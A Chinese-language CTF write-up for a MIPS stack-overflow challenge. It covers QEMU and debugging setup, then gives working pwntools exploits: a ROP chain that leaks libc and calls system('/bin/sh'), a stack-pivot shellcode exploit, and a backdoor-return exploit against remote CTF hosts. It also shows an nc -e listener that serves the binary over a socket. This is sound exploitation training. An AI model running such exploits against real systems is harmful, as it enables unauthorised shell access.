题目

题目链接 https://github.com/Q1IQ/ctf/blob/master/mips/pwn2

题目名字就叫做mips,肯定是mips架构的了。

$ file pwn2 
pwn2: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, not stripped

直接运行程序会显示下面的信息。

所以首先是搭建环境,搭建环境的目标是:

  1. 能运行题目程序
  2. 能用python脚本和题目程序进行交互
  3. 能够调试题目程序

mips

qemu

QEMU 支持两种操作模式:用户模式仿真和系统模式仿真。用户模式仿真 允许一个 CPU 构建的进程在另一个 CPU 上执行(执行主机 CPU 指令的动态翻译并相应地转换 Linux 系统调用)。系统模式仿真 允许对整个系统进行仿真,包括处理器和配套的外围设备。

老是记不住哪个是大小端

MSB:大端 -EB(大端)

LSB:小端 -EL (小端)

总体上都是参照着这个博客搭的

mips-pwn环境搭建

上面博客里给的题我没有成功调出来,找到了下面这个链接里有一个相同的题。

https://github.com/shift-crops/CTFWriteups/blob/68c91eda75d93249d56522e131f963c8135248de/2019/0CTF/Finals/EmbeddedHeap/embedded_heap.tar.gz

qemu系统模式

教程

为了和模拟出来的整个系统进行通信,需要先配置qemu的网络。配置网络在网上找到两种方法,另外一种修改/etc/network/interfaces的方法不容易成功,还是推荐下面的方法:

创建网桥:

sudo brctl addbr virbr0
sudo ifconfig virbr0 192.168.122.1/24 up

创建tap接口,名字为tap0,并添加到网桥:

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.122.11/24 up
sudo brctl addif virbr0 tap0

下载并启动qemu镜像,配置qemu虚拟机中的网络。在这里下载qemu的mips镜像

# 使用qemu启动下载的镜像
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

创建出来的格式是ELF 32-bit MSB executable, MIPS, MIPS-II version 1 (SYSV)

输入root/root进入虚拟机,设置ip:

ifconfig eth0 192.168.122.12/24 up

通过qemu的系统模式模拟出来了整个系统,我们可以在系统里面运行mips架构的程序,那么该如何对其进行调试呢?

可以在这里下载(原始的项目访问不了了,贴的是fork的)各个架构静态编译的gdbserver,使用gdbserver启动要调试的程序或附加到需要调试的进程上。

# 启动要调试的程序
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 embedded_heap 
Process embedded_heap created; pid = 2379
Listening on port 12345

# 附加到要调试的进程
root@debian-mips:~# ./gdbserver 0.0.0.0:12345 --attach $(pidof embedded_heap)
Attached; pid = 2790
Listening on port 12345

接着就可以在qemu外使用gdb-mutiarch来连接该端口进行调试了

gdb-multiarch embedded_heap
set arch mips
set endian big
target remote 192.168.122.12:12345

教程里写可以使用socat转发数据输入不可见字符。socat从这里获取:mips-binaries-master,一个静态编译的mips工具集。然而这个是MSB的,本题用不了。

针对本题

这道题需要下载el(little endian)镜像,下载链接https://people.debian.org/~aurel32/qemu/mipsel/

#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

用户名和密码都是root。

运行题目程序

和python交互
while true ;do  nc -lvvp 8080 -t -e ~/pwn2; done;
调试

找到对应的gdbserver。

使用gdb连接调试。

gdb-multiarch pwn2
set arch mips
set endian little
target remote ip:12345

qemu虚拟机上外网
sudo brctl addbr virbr0# 添加一座名为 virbr0 的网桥
sudo ifconfig virbr0 192.168.122.1/24 up
sudo tunctl -t tap0  # 创建一个 tap0 接口
sudo ifconfig tap0 192.168.122.11/24 up 
sudo brctl addif virbr0 tap0  # 在虚拟网桥中增加一个 tap0 接口
#上面是配置qemu虚拟机和主机通信 如果前面配置过了这里就不用重复配置了
#安装工具
apt-get install bridge-utils        # 虚拟网桥工具
apt-get install uml-utilities       # UML(User-mode linux)工具
#配置ens33和tap0为虚拟网桥virbr0的两个接口
sudo ifconfig ens33 down #ens33是网卡名称(能上网的那张) 关闭宿主机网卡接口
sudo brctl addif virbr0 ens33 # 在 virbr0 中添加ens33作为接口
sudo brctl stp virbr0 off              # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd virbr0 1             #转发延迟
sudo brctl sethello virbr0 1                         #hello 时间
sudo ifconfig virbr0 0.0.0.0 promisc up  #启用 virbr0 接口
sudo ifconfig ens33 0.0.0.0 promisc up# 启用网卡接口
sudo dhclient virbr0                                    # 从 dhcp 服务器获得 virbr0 的 IP 地址
sudo ifconfig tap0 0.0.0.0 promisc up  # 启用 tap0 接口
#
brctl show virbr0                      # 查看虚拟网桥列表
brctl showstp virbr0                   # 查看 virbr0 的各接口信息

#启动下载的镜像
sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

-net nic 表示希望 QEMU 在虚拟机中创建一张虚拟网卡,-net tap 表示连接类型为 TAP,并且指定了网卡接口名称(就是刚才创建的 tap0,相当于把虚拟机接入网桥)。

参考博客:https://wzt.ac.cn/2019/09/10/QEMU-networking/

qemu用户模式

运行题目程序

sudo chroot . ./qemu-mipsel-static ./pwn2
qemu-mipsel -L . ./pwn2
./qemu-mipsel-static -L . ./pwn2

和python交互

socat tcp-l:9999,fork exec:"sudo chroot . ./qemu-mipsel-static ./pwn2"

调试

sudo chroot . ./qemu-mipsel-static -g 12345 ./pwn2
qemu-mipsel -L . -g 12345 ./pwn2
gdb-multiarch pwn2
set arch mips
set endian little
target remote ip:12345

![image-20200517013946771](/Users/apple/Library/Application Support/typora-user-images/image-20200517013946771.png)

交叉编译

理论

https://blog.csdn.net/ajianyingxiaoqinghan/article/details/70917569

现成的工具

https://www.uclibc.org/downloads/binaries/0.9.30.1/

自己下载编译

以下内容来自于博客https://ray-cp.github.io/archivers/MIPS_Debug_Environment_and_Stack_Overflow#%E9%85%8D%E7%BD%AEmips%E8%99%9A%E6%8B%9F%E6%9C%BA

  1. 下载buildroot

    wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2
    tar -jxvf buildroot-snapshot.tar.bz2
    cd buildroot
  2. 配置buildroot

    sudo apt-get install libncurses-dev patch
    make clean
    make menuconfig

    在出现界面后,选择第一项“Target Architecture”,改成MIPS(little endian),另外,选择“Toolchain”,务必将“Kernel Headers”的Linux版本改成你自己主机的Linux版本(因为我们编译出的MIPS交叉工具是需要在我们的主机上运行的)

    像我做的这样:

  3. 安装

    sudo apt-get install texinfo
    sudo apt-get install bison
    sudo apt-get install flex
    sudo make

    经过约一小时,编译完成后,在buildroot文件夹下多了一个output文件夹,其中就是编译好的文件,可以在buildroot/output/host/usr/bin找到生成的交叉编译工具,编译器是该目录下的mips-linux-gcc文件。

  4. 配置环境变量,使得可以直接使用命令编译文件。

    gedit ~/.bashrc
    export PATH=$PATH:/Your_Path/buildroot/output/host/usr/bin
    source ~/.bashrc

终于开始做题了

分析

什么保护都没开。

首先看main函数,问你名字是啥,你的名字大小为0x14个字节。虽然这个代码看起来很奇怪吧,但是这个fd=0表示标准输入什么的都是相通的。

问完就进到了这个vuln函数里,有个栈溢出在这里。

ROP利用

应该可以弄一个shellcode。如果是普通的题,可以jmp esp,但我没找着。网上唯一的解是ROP,所以我也跟着那个试了试ROP。思路是先泄露read,再构造system('/bin/sh')'/bin/sh'是在libc里找的,这里就和基础的pwn一毛一样了。自己写的脚本:

from pwn import *
context.log_level = 'debug'
libc=ELF("./lib/libc.so.0")
elf = ELF('./pwn2')
io = remote("192.168.3.26", 8080)
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

ru("What's your name: \n")
sl("fuyeqi")
sleep(0.2)
r()

#leak got
j2s2_s1a0=0x004007A8#gadget
j_s3210=0x004006C8
main=0x00400820
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(elf.got['read'])#s1
c+=p32(0x0040092C)#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra  printf(elf.got['read'])
c+='\x20'*0x20                
c+=p32(0x400750) #执行到 0x00400800 lw $gp, 0x40+var_30($fp)时,$fp+0x10需要可读
sl(c)

#libcbase
read_addr=u32(r()[0:4])
libc.address=read_addr-libc.symbols['read']

#getshell
c=''
c+='\x31'*0x24
c+=p32(j_s3210)
c+='\x31'*0x1c
c+=p32(1111)#s0
c+=p32(libc.search('/bin/sh').next())#s1
c+=p32(libc.symbols['system'])#s2
c+=p32(1111)#s3
c+=p32(j2s2_s1a0)#ra
sl(c)

io.interactive()

成功获取shell。

ROP+shellcode

https://blog.csdn.net/seaaseesa/article/details/105281585

#coding:utf8
from pwn import *
#由于不知道uclibc版本,所以,我们利用栈迁移,在bss段布下shellcode执行即可

#sh = process(argv=['qemu-mipsel','-g','6666','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
#sh = process(argv=['qemu-mipsel','-L','/home/sea/mips_os/mipsel-linux-uclibc','./mips_pwn2'])
sh = remote('node3.buuoj.cn',27820)

bss = 0x410B70
text_read = 0x4007E0
sh.sendafter("What's your name:","haivk")

shellcode = asm(shellcraft.mips.linux.sh(),arch='mips')
#ret2shellcode
payload = 'a'*0x20
#fp
payload += p32(bss + 0x200 - 0x40 + 0x28)
#调用read向bss段输入shellcode,然后ret到bss段
payload += p32(text_read)

sh.send(payload)

sleep(1)
payload = 'a'*0x24
#ra
payload += p32(bss + 0x200 + 0x28)
payload += shellcode
sh.send(payload)

sh.interactive()

栈迁移 ISCC baby_mips

溢出只能覆盖到$fp(相当于ebp)。

from pwn import *
from struct import pack,unpack,calcsize
context.log_level = 'debug'
#libc=ELF("./libc.so.0")
elf = ELF('./baby_mips')
backdoor = 0x00400690
bss_name = 0x004923B0
io = remote("101.200.240.241",7030)
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

ru("What's your name?\n")
sl('1'*0x1c+pack("<I",backdoor))
ru("YaLeYaLeDaZe?(yaleyale/kotowalu)\n")
s('1'*8+pack("<I",bss_name))
io.interactive()

后记

调试的时候发现一个问题:gdb调试mips架构的时候,会把$fp认成$s8。

本场比赛一共四道pwn题

做出来的题:

  • 一个堆题,跟之前做的某个题特别像。当时写的wp:利用格式化字符串漏洞泄露libc,构造overlap修改 global_max_fast ,然后就可以fastbinattack改 malloc hook 拿shell,但因为有大小限制,所以需要自己在 malloc hook 前填一个size位。
  • 一个32位格式化字符串盲注,当时写的wp:先确定格式化字符串漏洞的偏移是8,dump出全部的程序后构造exp,利用方法是先泄露read的got表地址,然后改sprintf的got表地址为onegadget拿shell。

未做出来的题:

  • 一个64位格式化字符串盲注,因为菜,所以时间不够。
  • 这篇博客写的mips